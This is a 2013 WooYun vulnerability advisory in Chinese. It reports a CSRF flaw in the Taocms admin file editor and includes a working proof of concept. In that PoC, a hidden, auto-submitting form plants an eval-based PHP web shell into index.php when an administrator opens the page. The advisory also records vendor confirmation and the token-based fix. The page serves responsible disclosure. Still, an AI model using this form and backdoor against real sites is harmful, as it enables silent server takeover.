当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-032370

漏洞标题:Taocms无token导致Csrf-getshell

相关厂商:taocms开源

漏洞作者: VIP

提交时间:2013-07-26 11:13

修复时间:2013-09-09 11:14

公开时间:2013-09-09 11:14

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-26: 细节已通知厂商并且等待厂商处理中
2013-07-26: 厂商已经确认,细节仅向厂商公开
2013-08-05: 细节向核心白帽子及相关领域专家公开
2013-08-15: 细节向普通白帽子公开
2013-08-25: 细节向实习白帽子公开
2013-09-09: 细节向公众公开

简要描述:

无token,所以可以通过交互管理员进行Csrf-getshell,全程只需要管理员点击一个网页,不知不觉getshell就自动完成了。

详细说明:

后台有编辑文件功能,可以编辑php文件,植入一句话。
且此功能无token限制,导致可以通过一个Csrf交互来getshell.
POC如下(如运行不正常,为乌云编辑器所致,将中间的空行删去即可):

代表乌云消灭你
<form action="http://127.0.0.1/admin/admin.php" method="POST" target="hidden_frame">
<input type="hidden" name="filedata" value="<?php
@eval($_REQUEST['wooyun']);
include
('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER
['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path,
0,1)=='/'){
$path=substr($path,1);
}
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
Index::createhtml(isset($_GET['id'])?$_GET
['id']:0,$_GET['cat'],$_GET['single']);
}else{
Index::$ctrl($path);
}
?>" />
<input type="hidden" name="input" value="index.php" />
<input type="hidden" name="name" value="index.php" />
<input type="hidden" name="action" value="file" />
<input type="hidden" name="ctrl" value="save" />
<input type="hidden" name="path" value="index.php" />
</form><iframe style="DISPLAY: none" id=hidden_frame name=hidden_frame></iframe>
<script>
document.forms[0].submit();
</script>

漏洞证明:

页面上只是一段简单的文字,但是其实后台已经发起了一次POST请求,在index.php中植入了一句话木马。

xxx1.jpg


xxx2.png


xxx3.png

修复方案:

后台增加token验证

版权声明:转载请注明来源 VIP@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-07-26 14:12

厂商回复:

十分感谢,本周将发布修复版本

最新状态:

2013-07-26:已经修复此bug,感谢